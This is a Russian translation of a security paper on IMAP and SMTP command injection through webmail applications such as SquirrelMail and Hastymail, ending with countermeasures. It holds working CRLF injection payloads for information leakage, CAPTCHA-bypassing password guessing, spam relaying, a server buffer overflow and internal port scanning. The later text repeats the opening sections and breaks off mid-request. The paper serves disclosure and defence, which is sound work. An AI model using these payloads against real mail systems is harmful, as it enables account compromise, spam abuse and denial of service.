Ошибки проверки вводимых данных инъекция e mail

By Vicente Aguilera Diaz

( vaguilera (at) isecauditors (dot) com )

Введение

Веб-приложения электронной почты используют протоколы IMAP и SMTP для обеспечения взаимодействия пользователя с его почтовым ящиком. По сути, это означает, что они являются прокси между приложением клиента и почтовым сервером, для выполнения установленных действий.

Это взаимодействие начинается в тот момент, когда пользователь посылает свои учётные данные (логин и пароль) для того чтобы авторизоваться, используя веб-приложение. В этой точке, предполагая, что IMAP сервер поддерживает метод аутентификации «LOGIN», веб-приложение связывается с IMAP сервером, посылая следующую команду:

AUTH LOGIN <user> <password>

Затем приложение анализирует возвращаемый сервером ответ и, в зависимости от его содержимого, запрещает либо запрещает доступ пользователя к его ящику.

Таким же образом приложение переводит различные действия пользователя в команды IMAP и SMTP которые посылаются соответствующему серверу. Однако возможный функционал ограничен веб-приложением, так как пользователь не может инициировать IMAP или SMTP команды отличные от тех, которые определены в веб-приложении. С другой стороны, пользователь обладает возможностью изменять команды IMAP и SMTP команды, передаваемые почтовым серверам.

 Также как и в многократно описанных технологиях SQL, LDAP, SSI, Xpath и CRLF инъекций, технология MX инъекции позволяет внедрение произвольных IMAP или SMTP команд почтовому серверу через веб-приложение, некорректно обрабатывающее предоставленные пользователем данные.

Техника MX инъекций особенно полезна в тех случаях, когда почтовый сервер, использующийся веб-приложением, напрямую недоступен из интернет (см. рис 1). Процесс внедрения произвольных команд подразумевает, что пользователю через веб-приложение доступны порты 25(smtp) и 143(imap).

На рисунке выше представлен запрос пользователя веб-приложению для совершения операции с почтовым ящиком. Шаги 1,2 и 3 показывают стандартный запрос через веб-приложение. Шаги 1 и 2’ представляют, что пытается сделать атакующий, использующий MX инъекцию.

Для атакующего, пользующегося техникой MX инъекций, порты почтового сервера, обычно закрытые файрволом, доступны «напрямую». Использование этой техники допускает большое количество воздействий и видов атак. Открывающиеся же возможности зависят от типа сервера, для которого проводится инъекция. Как уже было сказано во введении, веб-приложения электронной почты переводят запросы от пользователей в команды протоколов IMAP и SMTP. В следующей главе я объясню, как мы сможем эксплуатировать оба протокола.

 IMAP инъекции.

В данном случае инъекция команды делается для IMAP сервера, поэтому она должна соответствовать спецификации этого протокола. Веб-приложения электронной почты связываются с IMAP сервером чтобы выполнить необходимые операции, и по этой причине они более уязвимы для атак подобного рода.

Во время аутентификации пользователя приложение передаёт учётные данные IMAP серверу, таким образом IMAP инъекции могут иметь место без необходимости наличия валидного аккаунта в приложении, эксплуатируя в данном случае механизм авторизации непосредственно IMAP сервера.

Перед внедрением команд пользователь должен все определить параметры, использующиеся в процессе связи с веб-приложением и связанные с функционированием приложения, такие как:

• аутентификация/login/logout
•    операции с почтовым ящиком (list/read/create/delete/rename)
• операции с сообщениями (read/copy/move/delete)

Давайте для примера рассмотрим IMAP инъекцию эксплуатирующую функцию прочтения сообщения. Предположим, что веб-приложение использует параметр «message_id» для хранения идентификатора сообщения, которое пользователь запрашивает для прочтения. Запрос, содержащий идентификатор сообщения, при посылке выглядит так:

  http://<webmail>/read_email.php?message_id=<number> 

Предположим, что со страницы “read_email.php”, ответственной за отображение соответствующего сообщения, запрос передаётся серверу без проведения каких-либо проверок значения <number>, передаваемого пользователем. Команда, посылаемая серверу, будет выглядеть так:

FETCH <number> BODY[HEADER]

В этом контексте злоумышленник может провести атаку IMAP инъекцией через параметр “message_id» используемый приложением для связи с почтовым сервером. Например команда IMAP протокола “CAPABILITY” может быть внедрена через следующую последовательность:

http://<webmail>/read_email.php?message_id=1 BODY[HEADER]%0d%0aZ900 CAPABILITY%0d%0aZ901 FETCH 1

Это приведёт к посылке следующей последовательности команд IMAP серверу:

FETCH 1 BODY[HEADER]

  Z900 CAPABILITY

  Z901 FETCH 1

BODY[HEADER]

И страница, возвращаемая сервером будет показывать результат команды «CAPABILITY» от IMAP сервера: * CAPABILITY IMAP4rev1 CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES

  SORT QUOTA ACL ACL2=UNION

  Z900 OK CAPABILITY completed

 SMTP инъекция

В этом случае внедрение команд производится в SMTP сервер, поэтому внедряемые команды должны следовать этому протоколу. Из-за того, что все проводимые операции разрешены приложением, используя SMTP протокол мы, проще говоря, имитируем отсылку письма. Использование SMTP инъекции предполагает, что пользователь предварительно аутентифицировался, т.е. необходимо чтобы имелся активный пользовательский аккаунт.

Ниже приведён формат письма, посылаемого через SMTP:

• отправитель
• получатель
• тема
• тело письма
• присоединённые файлы

Давайте на примере рассмотрим технику SMTP инъекции чрез параметр, который содержит тему письма.

Как я уже объяснил ранее, при использовании данного метода необходимо, чтобы пользователь был аутентифицировал себя, тогда инъекция SMTP команды будет произведена в параметр, ассоциированный с темой отсылаемого письма. В общем случае, веб-приложение электронной почты предоставляет пользователю форму, где он должен ввести необходимую информацию, она затем будет передана процедуре, которая ответственна за создание SMTP команд, необходимых для посылки данного письма.

Типичный запрос для отправки письма будет выглядеть так:

 POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SMTP Injection Example

  ——————————134475172700422922879687252

Он сгенерирует следующую последовательность команд SMTP:

MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SMTP Injection Example

….

Если приложение не достаточно корректно проверяет значение параметра «Subject», атакующий сможет внедрить в него дополнительные SMTP команды:

POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SMTP Injection Example

  .

  MAIL FROM: notexist@external.com

  RCPT TO: user@domain.com

  DATA

  Email data

  .

——————————134475172700422922879687252

Команды внедренные в примере выше произведут следующую последовательность SMTP команд, которая будет отослана почтовому серверу и будет включать команды MAIL FROM, RCPT TO и DATA, как показано ниже:

   MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SMTP Injection Example

  .

  MAIL FROM: notexist@external.com

  RCPT TO: user@domain.com

  DATA

  Email data

  .

  …

 MX инъекции: каковы преимущества?

Публикации и обсуждения о подобных инъекциях в почтовые системы существовали и до этой статьи. С уверенностью модно сказать, что наиболее известной является CRLF инъекция в функцию PHP mail().

Тем не менее, они состоят только из частичного внедрения кода, как в случае внедрения заголовков письма. Этот тип инъекций позволит реализовать различные операции (рассылка анонимных писем, спамрелеинг, итд.) которые также возможы с техникой MX инъекций, так как базируются на одном и том же типе уязвимости.

Преимущество же данной техники состоит в возможности полноценной передачи команд уязвимым серверам без каких либо ограничений. Другими словами, её использование допускает не только внедрение заголовков, («From», «Subject», «To», итд.), но и произвольных команд в почтовый сервер (IMAP/SMTP) связанный с веб-приложением.

MX инъекция позволяет обойти стандартный функционал веб-приложения электронной почты (например, разослать большие объёмы почты). Эта техника позволит выполнить дополнительные действия, невозможные непосредственно через веб-приложение (например, спровоцировать переполнение буфера через команду протокола IMAP).

Возможность внедрения произвольных команд будет особенно интересна специалистам по безопасности (pen-testers), так как позволяет использование уязвимостей которые в некоторых ситуациях могут привести к получению полного управления сервером.

 Создание атак

Далее я приведу несколько примеров различных типов атак на почтовые сервера, а также практические примеры использования техники MX-инъекций.

Реальные ситуации были смоделированы на web-приложениях SquirrelMail (версии 1.2.7 и 1.4.5) и Hastymail (версии 1.0.2 и 1.5). SquirellMail версии 1.2.7 более не поддерживается командой SquirellMail, поэтому рекомендуется обновиться как минимум до версии 1.4.6, так как все предыдущие версии уязвимы к данным типам атак. Все версии Hastymail версии младше 1.5 также уязвимы к SMTP и IMAP инъекциям и пользователям настоятельно рекомендовано использовать последние патчи.

Команды разработчиков SquirellMail и Hastymail были уведомлены об уязвимостях и обе быстро предоставили заплатки. Вскоре после этого был выпущен плагин для Nessus, предназначенный для проверки наличия данных уязвимостей.

Атаку необходимо проводить в два приёма:

•   определить уязвимый параметр.
• выяснить, насколько широко можно его использовать.

 Определение уязвимого параметра.

Идентификация уязвимых параметров может быть проведена тем же путем, что и при проверке на другие типы инъекций, т.е. проверкой поведения сервера в нестандартной ситуации. А именно, посылкой приложению необычных значений для каждого из параметров передаваемых далее как часть IMAP либо SMTP протокола, и попытками определить наличие подтверждения уязвимости.

Рассмотрим пример:

Когда пользователь получает доступ к папке INBOX своего почтового аккаунта, запрос к SquirellMail выглядит так:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX

Если пользователь изменит значение «mailbox» таким образом:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22

, то приложение отреагирует выдачей сообщения ошибке:

  ERROR : Bad or malformed request.

  Query: SELECT «INBOX»»

  Server responded: Unexpected extra arguments to Select

Очевидно это не должно быть нормальным поведением приложения. Это сообщение об ошибке по мимо всего прочего говорит о том, что была попытка выполнить команду IMAP “SELECT”. Используя эту процедуру, мы можем установить, что параметр “mailbox” подвержен атакам типа MX-инъекция, а в частности IMAP-инъекциям.

В других случаях определение и использование уязвимых параметров может быть не столь очевидным. Например, когда пользователь получает доступ к своей папке INBOX в Hastymail, запрос выглядит так:

  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX

Если пользователь изменяет параметр “mailbox” следующим образом:  http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX»

Приложение реагирует выдачей следующей ошибки:

Could not access the following folders:

INBOX»

To check for outside changes to the folder list go to the folders page

В этом случае, добавление двойной кавычки не изменило поведения приложения. Результат выполнения запроса такой же, как если бы мы добавили любой другой символ:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

Приложение реагирует выдачей сообщения об ошибке:

  Could not access the following folders:

  NOTEXIST

  To check for outside changes to the folder list go to the folders page

Если пользователь пытается использовать вариации IMAP-инъекции:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST «%0d%0aA0003%20CREATE%20″INBOX.test

Приложение также отреагирует выдачей сообщения об ошибке:

  Unable to perform the requested action

  Hastymail said:: A0003 SELECT «INBOX»

  And the IMAP server said::

  A0003 NO Invalid mailbox name.

Изначально кажется, что попытка IMAP-инъекции не удалась. Однако, используя различные комбинации управляющих символов, можно достичь нужной цели. В следующем пример используется кодирование знака кавычки через представление в виде двух символов, заменяя использованное в предыдущем примере на последовательность %2522:

http://<webmail>/html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

%2522%0d%0aA0003%20CREATE%20%2522INBOX.test

В этом случае приложение не выдаёт никаких сообщений об ошибках и успешно создаёт папку «test» в INBOX.

Другие варианты:

• Подставить в параметр значение null (т.е. “mailbox=”)
• Заменить значение именем несуществующего почтового ящика ( “mailbox=NotExist” ).
• Добавить другие значения к параметрам ( “mailbox=INBOX PARAMETER2” )
• Добавить нестандартные символы ( .?,@,#,!,n)
• Добавить последовательность CRLF ( “mailbox=INBOX%0d%0a”)

 Рамки использования

Когда определён уязвимый параметр (будь то IMAP или SMTP команда), необходимо понять, насколько широко его можно использовать. Другими словами, нужно уяснить последовательность команд и место нашей уязвимой команды в этой последовательности, для того чтобы передать ей адекватные параметры.

Чтобы успешно проделать MX инъекцию, необходимо, чтобы предыдущая команда заканчивалась последовательностью CRLF («%0d%0a»). В этом случае данная последовательность будет использоваться для разделения команд.

Если у пользователя есть возможность внедрения команды и просмотра выдаваемых сообщений об ошибках, то на следующем этапе нужно понять последовательность выполняемых операций.

Рассмотрим пример:

Когда пользователь запрашивает письмо на просмотр, в SquirellMail генерируется следующий запрос:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1&show_more=0

Если пользователь изменит значение “passed_id” следующим образом:

http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0

То приложение ответит ошибкой:

•   ERROR : Bad or malformed request.
•   Query: FETCH test:test BODY[HEADER] 
•   Server responded: Error in IMAP command received by server

Здесь пользователь может определить, что выполняемая IMAP команда это “FETCH” вместе сопутствующими параметрами. На этом этапе, определив уязвимый параметр, у нас есть достаточно данных, для проведения инъекции дополнительной команды.

  http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=1 BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0

Данный запрос выполнит следующие IMAP команды на сервере:

FETCH 1 BODY[HEADER]

  Z900 RENAME INBOX ENTRADA

  Z910 FETCH 1

BODY[1]

Если же пользователь не может видеть сообщения об ошибках (т.н. «инъекция вслепую»), то информация о соответствующей операции должна быть получена из типа выполняемой операции. К примеру, если инъекция делается через параметр формы аутентификации “password”, IMAP команда, выполняемая сервером, будет выглядеть так:

  AUTH LOGIN <user> <password>

Возвращаясь к вышесказанному: если же инъекция проводится через параметр “mailbox”, то исполняемой IMAP командой будет:

  LIST «<reference>» <mailbox>

Чтобы лучше понять принципы работы IMAP протокола, обратитесь к «»RFC 3501: Internet Message Access Protocol — Version 4rev1″ .

 Атака с утечкой информации

Применённая техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

Эта инъекция может применяться для получения информации об IMAP сервере, в тех случаях, когда получение информации другими методами затруднено.

Предполагая, что пользователь имеет возможность инъекции команды “CAPABILITY” в параметр “mailbox”:

http://<webmail>/src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT «INBOX&passed_id=1&startMessage=1&show_more=0

Ответ после команды CAPABILITY отобразит список параметров, разделённый запятыми, вместе с соответствующими каждому параметру возможностями сервера.

  * CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN

  Z900 OK capabilities listed

  * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE

  Z900 OK Completed

  * CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN

  Z900 OK Completed

С помощью этой команды пользователь может определить различные методы аутентификации, поддерживаемые сервером (ответы “AUTH=”), отключенные команды входа (LOGINDISABLED), добавленные к поддерживаемым расширениям и ревизиям IMAP протокола.

Команда CAPABILITY может быть выполнена без аутентификации, поэтому, если она была обнаружена среди команд, доступных для инъекции, то непременно должна быть выполнена.

обход технологий типа CAPTCHA

Примененная техника: IMAP инъекция.

Необходимость наличия аутентифицированного пользователя: нет

В наши дни обычным для веб-приложений стало использование технологии типа CAPTCHA. Цель очевидна – предотвратить автоматизированные атаки на отдельные процессы. Например, добавление CAPTCHA к форме регистрации пользователя предотвращает вход «робота» в качестве обычного пользователя либо подбор существующих имён пользователей или паролей.

Если механизм аутентификации пользователя IMAP сервера уязвим для IMAP инъекции, злоумышленник может обойти ограничения типа CAPTCHA.

Первое: предположим, что поле “password” в форме аутентификации допускает проведение инъекции IMAP команд. Если атакующий пытается определить пароль “pwdok” пользователя “victim”, он может провести многочисленные запросы, используя, например, атаку по словарю.

Далее, предположим, что словарь состоит из следующих записей: pwderror1, pwderror2, pwdok, pwderror3.

В этом случае, пользователь может внедрить следующие команды для проведения атаки:

  http://<webmail>/src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3

Что приведёт к выполнению соответствующих команд на IMAP сервере: (C – запрос клиента, S – ответы сервера):

  C: Z900 LOGIN victim pwderror1

  S: Z900 NO Login failed: authentication failure

  C: Z910 LOGIN victim pwderror2

  S: Z910 NO Login failed: authentication failure

  C: Z920 LOGIN victim pwdok

  S: Z920 OK User logged in

  C: Z930 LOGIN victim pwderror3

  S: Z930 BAD Already logged in

Итак, если пароль жертвы есть в используемом для подбора словаре, то в конце инъекции злоумышленник обнаружит, что он аутентифицирован на сервере. С этого момента можно производить инъекции команд, для которых необходимо быть аутентифицированным на сервере.

 Релеинг

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Пользователь, аутентифицированный веб-приложением, имеет возможность создавать и отсылать электронную почту.

Предположим, что параметр «subject» уязвим для SMTP инъекции.

В этой ситуации возможно проведение атаки для использования сервера как релея. Например следующие команды инициируют посылку письма с «внешнего» адреса на другой «внешний» адрес.

Это приведёт к выполнению сервером следующей последовательности SMTP команд:

 MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Relay Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  Relay test

  .

  …

 Рассылка спама.

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

В этом сценарии всё аналогично предыдущему. Ставя себе цель обойти ограничения, накладываемые сервером (веб-приложением), например по количеству писем, отсылаемых пользователем, атакующий внедряет с уязвимым параметром необходимое количество команд (по нужному количеству писем к отправке). Посылая один нижеприведённый POST запрос веб-серверу, атакующий может выполнить несколько действий. Давайте на примере рассмотрим посылку трёх писем одной командой:

POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  SPAM Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к выполнению следующей последовательности SMTP команд:

MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: SPAM Example

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain2.com

  DATA

  SPAM test

  .

  …

Обход ограничений

Примененная техника: SMTP инъекция.

Необходимость наличия аутентифицированного пользователя: да

Этот случай является комбинацией двух предыдущих. Здесь инъекция SMTP команд позволяет обойти ограничения накладываемые на уровне веб-приложения.

Рассмотрим несколько примеров:

Предположим, что веб-приложение не разрешает посылать писем больше заданного количества в определённый промежуток времени. SMTP инъекция позволит обойти ограничение, добавляя столько команд RCPT, сколько необходимо:

POST http://<webmail>/compose.php HTTP/1.1

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Test

  .

  MAIL FROM: external@domain1.com

  RCPT TO: external@domain1.com

  RCPT TO: external@domain2.com

  RCPT TO: external@domain3.com

  RCPT TO: external@domain4.com

  Data

  Test

  .

  ——————————134475172700422922879687252

  …

Это приведёт к посылке серверу следующей последовательности команд:

Обход ограничения на количество вложений:

Предположим, что веб-приложение накладывает ограничение на количество вложений в письмо. SMTP инъекция позволит обойти этот вид ограничений. На примере уязвимого параметра «subject», посмотрим, как можно вложить три текстовых файла:

…

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

  Test

  .

  MAIL FROM: user1@domain1.com

  RCPT TO: user2@domain2.com

  DATA

  Content-Type: multipart/mixed; boundary=1234567

  —1234567

  Content-type: text/plainContent-Disposition: attachment; filename=1.txt

  Example 1

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=2.txt

  Example 2

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=3.txt

  ——————————134475172700422922879687252

  …

Которые произведут следующую последовательность команд, посланных почтовому серверу:

  MAIL FROM: <mailfrom>

  RCPT TO: <rcptto>

  DATA

  Subject: Test

  .

  MAIL FROM: user1@domain1.com

  RCPT TO: user2@domain2.com

  DATA

  Content-Type: multipart/mixed; boundary=1234567

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=1.txt

  Example 1

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=2.txt

  Example 2

  —1234567

  Content-type: text/plain

  Content-Disposition: attachment; filename=3.txt

  …

Используя данные три приёма, атакующий может послать столько писем, сколько захочет и с необходимым количеством вложений.

 Использование уязвимостей протоколов

Возможность выполнения произвольных команд почтового протокола на сервере позволит атакующему эксплуатировать существующие уязвимости посылкой серверу соответствующих команд.

Рассмотрим несколько примеров:

DOS-атаки на почтовый сервер

Например: переполнение буфера в MailMax версии 5.

Использование имя почтового ящика длиной более 256 символов в параметре SELECT приведёт к выдаче сообщения «Buffer overrun detected! — Program:»

Теперь сервер остановлен должен быть перезапущен вручную.

Полагая, что если параметр «mailbox» на странице веб-приложения уязвим к IMAP инъекции, использование этой уязвимости может быть проведено следующим способом (требуется, чтобы пользователь был аутентифицирован):

   http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT «aa…[256]…aa»

 Выполнение произвольного кода на сервере

Другой пример уязвимого сервера — IMAP сервер MailEnable. Он подвержен переполнению буфера в команде STATUS, которое позволяет выполнить произвольный код на IMAP сервере. Полагая, что параметр «mailbox» веб-приложения уязвим для IMAP инъекции, использование этой уязвимости может быть проведено следующим образом (требуется, чтобы пользователь был аутентифицирован):

http://<webmail>/src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS

 Сканирование портов во внутренней сети

IMAP сервер разработанный в University of Washington (UW-IMAP, http://www.washington.edu/imap) позволяет выполнить сканирование портов используя команду SELECT в формате SELECT «{ip:port}».

На примере рассмотрим использование уязвимости в SquirellMail версии 1.4.2., полагая, что параметр «mailbox» уязвим для IMAP инъекции (требуется, чтобы пользователь был аутентифицирован):

1)      запрос на открытый порт (80) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}

Ответ на предыдущий запрос:

ERROR : Connection dropped by imap-server.

  Query: SELECT «{192.168.0.1:80}»

2)      запрос на закрытый порт (21) к 192.168.0.1:

http://<webmail>/src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21}

Ответ сервера предыдущий запрос:

ERROR : Could not complete request.

  Query: SELECT «{192.168.0.1:21}»

  Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused

Различия в ответах от IMAP сервера позволяют злоумышленнику выяснить статус нужного порта.

Подытожим: благодаря MX-инъекциям, стало возможно использовать уязвимости в почтовых серверах, которые в обычной ситуации использовать не удастся. Для аудитора безопасности умение находить и эксплуатировать данные уязвимости — большой плюс. По этой причине данный вопрос будет представлен в будущей статье по эксплуатированию MX- инъекций.

Сравнение IMAP и SMTP инъекций.

Ниже приведенная таблица показывает характеристику обоих типов MX инъекций:

	IMAP инъекция	SMTP инъекция
требует аутентифицированного пользователя	нет	да
Типы атак	Утечка информации, прямое использование IMAP протокола, обход технологии CAPTCHA	Утечка информации, прямое использование SMTP протокола, обход ограничений на релеинг/спам

Критерии защиты

Как и при других уязвимостях, приводящих к внедрению данных атакующим, защита веб-проложений электронной почты требует внедрения и применения необходимых мер, предлагаемых командой разработчиком. Однако, чтобы сузить возможность атакующего использующего данные уязвимости, необходимо применять более широкие меры по безопасности всего сервера.

Ниже приведены контрмеры по противодействию подобного типа атакам:

Проверка вводимых данных.

Все введённые данные, используемые приложением (не только введённые пользователем, но и используемые для внутренних нужд) должны быть нормализованы, должны быть удалены все символы, которые могут быть использоваться с умыслом. Проверки должны быть произведены до каких либо манипуляций с данными.

Как обсуждалось ранее, выполнение новых команд IMAP/SMTP требует, чтобы предыдущая команда заканчивалась CRLF. Чтобы убедиться в то, что не внедрено дополнительных команд, вы можете удалить подобные символы до передачи введённых данных непосредственно почтовому серверу.

Конфигурация IMAP/SMTP серверов

Если для доступа к почтовым серверам используется только веб-приложения, данные серверы не должны быть видны из Интернет. В дополнение к этому вы должны усилить ограничения для них, отключая все команды, за исключением действительно необходимых, для снижения угрозы атак MX инъекциями.

Файрволы уровня приложений

Если мы развёртываем такой файрвол наряду с другими системами защиты — можно добавить соответствующие правила к фильтру.

В качестве примера файрвола уровня приложения приведу ModSecurity. Для предыдущего случая со SquirellMail результирующее правило будет выглядеть так:

SecFilterSelective «ARG_mailbox» «rn»

Оно будет фильтровать внедрение последовательности <CRLF> в параметр «mailbox».

Заключение

Этот документ представляет два практических примера веб-приложений (SquirellMail и Hastymail) уязвимых для техники MX инъекций, поэтому все приложения использующие SMTP и IMAP, будут также уязвимы из-за этого.

В настоящее время подавляющее большинство приложений не используют «чистый» протокол (SMTP/IMAP) для связи с почтовым сервером, а используют вызовы стандартных библиотечных функций которые и завершают процесс.

В следующей версии статьи будет проведён анализ упомянутых библиотек, а также веб-приложений, использующих эти библиотеки, которые могут быть уязвимы для MX инъекций.

By Vicente Aguilera Diaz

( vaguilera (at) isecauditors (dot) com )

Введение

Веб-приложения электронной почты используют протоколы IMAP и SMTP для обеспечения взаимодействия пользователя с его почтовым ящиком. По сути, это означает, что они являются прокси между приложением клиента и почтовым сервером, для выполнения установленных действий.

Это взаимодействие начинается в тот момент, когда пользователь посылает свои учётные данные (логин и пароль) для того чтобы авторизоваться, используя веб-приложение. В этой точке, предполагая, что IMAP сервер поддерживает метод аутентификации «LOGIN», веб-приложение связывается с IMAP сервером, посылая следующую команду:

AUTH LOGIN <user> <password>

Затем приложение анализирует возвращаемый сервером ответ и, в зависимости от его содержимого, запрещает либо запрещает доступ пользователя к его ящику.

Таким же образом приложение переводит различные действия пользователя в команды IMAP и SMTP которые посылаются соответствующему серверу. Однако возможный функционал ограничен веб-приложением, так как пользователь не может инициировать IMAP или SMTP команды отличные от тех, которые определены в веб-приложении. С другой стороны, пользователь обладает возможностью изменять команды IMAP и SMTP команды, передаваемые почтовым серверам.

 Также как и в многократно описанных технологиях SQL, LDAP, SSI, Xpath и CRLF инъекций, технология MX инъекции позволяет внедрение произвольных IMAP или SMTP команд почтовому серверу через веб-приложение, некорректно обрабатывающее предоставленные пользователем данные.

Техника MX инъекций особенно полезна в тех случаях, когда почтовый сервер, использующийся веб-приложением, напрямую недоступен из интернет (см. рис 1). Процесс внедрения произвольных команд подразумевает, что пользователю через веб-приложение доступны порты 25(smtp) и 143(imap).

На рисунке выше представлен запрос пользователя веб-приложению для совершения операции с почтовым ящиком. Шаги 1,2 и 3 показывают стандартный запрос через веб-приложение. Шаги 1 и 2’ представляют, что пытается сделать атакующий, использующий MX инъекцию.

Для атакующего, пользующегося техникой MX инъекций, порты почтового сервера, обычно закрытые файрволом, доступны «напрямую». Использование этой техники допускает большое количество воздействий и видов атак. Открывающиеся же возможности зависят от типа сервера, для которого проводится инъекция. Как уже было сказано во введении, веб-приложения электронной почты переводят запросы от пользователей в команды протоколов IMAP и SMTP. В следующей главе я объясню, как мы сможем эксплуатировать оба протокола.

 IMAP инъекции.

В данном случае инъекция команды делается для IMAP сервера, поэтому она должна соответствовать спецификации этого протокола. Веб-приложения электронной почты связываются с IMAP сервером чтобы выполнить необходимые операции, и по этой причине они более уязвимы для атак подобного рода.

Во время аутентификации пользователя приложение передаёт учётные данные IMAP серверу, таким образом IMAP инъекции могут иметь место без необходимости наличия валидного аккаунта в приложении, эксплуатируя в данном случае механизм авторизации непосредственно IMAP сервера.

Перед внедрением команд пользователь должен все определить параметры, использующиеся в процессе связи с веб-приложением и связанные с функционированием приложения, такие как:

• аутентификация/login/logout
•    операции с почтовым ящиком (list/read/create/delete/rename)
• операции с сообщениями (read/copy/move/delete)

Давайте для примера рассмотрим IMAP инъекцию эксплуатирующую функцию прочтения сообщения. Предположим, что веб-приложение использует параметр «message_id» для хранения идентификатора сообщения, которое пользователь запрашивает для прочтения. Запрос, содержащий идентификатор сообщения, при посылке выглядит так:

  http://<webmail>/read_email.php?message_id=<number> 

Предположим, что со страницы “read_email.php”, ответственной за отображение соответствующего сообщения, запрос передаётся серверу без проведения каких-либо проверок значения <number>, передаваемого пользователем. Команда, посылаемая серверу, будет выглядеть так:

FETCH <number> BODY[HEADER]

В этом контексте злоумышленник может провести атаку IMAP инъекцией через параметр “message_id» используемый приложением для связи с почтовым сервером. Например команда IMAP протокола “CAPABILITY” может быть внедрена через следующую последовательность:

http://<webmail>/read_email.php?message_id=1 BODY[HEADER]%0d%0aZ900 CAPABILITY%0d%0aZ901 FETCH 1

Это приведёт к посылке следующей последовательности команд IMAP серверу:

FETCH 1 BODY[HEADER]

  Z900 CAPABILITY

  Z901 FETCH 1 BODY[HEADER]

И страница, возвращаемая сервером будет показывать результат команды «CAPABILITY» от IMAP сервера: * CAPABILITY IMAP4rev1 CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES

  SORT QUOTA ACL ACL2=UNION

  Z900 OK CAPABILITY completed

 SMTP инъекция

В этом случае внедрение команд производится в SMTP сервер, поэтому внедряемые команды должны следовать этому протоколу. Из-за того, что все проводимые операции разрешены приложением, используя SMTP протокол мы, проще говоря, имитируем отсылку письма. Использование SMTP инъекции предполагает, что пользователь предварительно аутентифицировался, т.е. необходимо чтобы имелся активный пользовательский аккаунт.

Ниже приведён формат письма, посылаемого через SMTP:

• отправитель
• получатель
• тема
• тело письма
• присоединённые файлы

Давайте на примере рассмотрим технику SMTP инъекции чрез параметр, который содержит тему письма.

Как я уже объяснил ранее, при использовании данного метода необходимо, чтобы пользователь был аутентифицировал себя, тогда инъекция SMTP команды будет произведена в параметр, ассоциированный с темой отсылаемого письма. В общем случае, веб-приложение электронной почты предоставляет пользователю форму, где он должен ввести необходимую информацию, она затем будет передана процедуре, которая ответственна за создание SMTP команд, необходимых для посылки данного письма.

Типичный запрос для отправки письма будет выглядеть так:

 POST http://<webmail>/compose.php HTTP/1.1

  …

  ——————————134475172700422922879687252

  Content-Disposition: form-data; name=»subject»

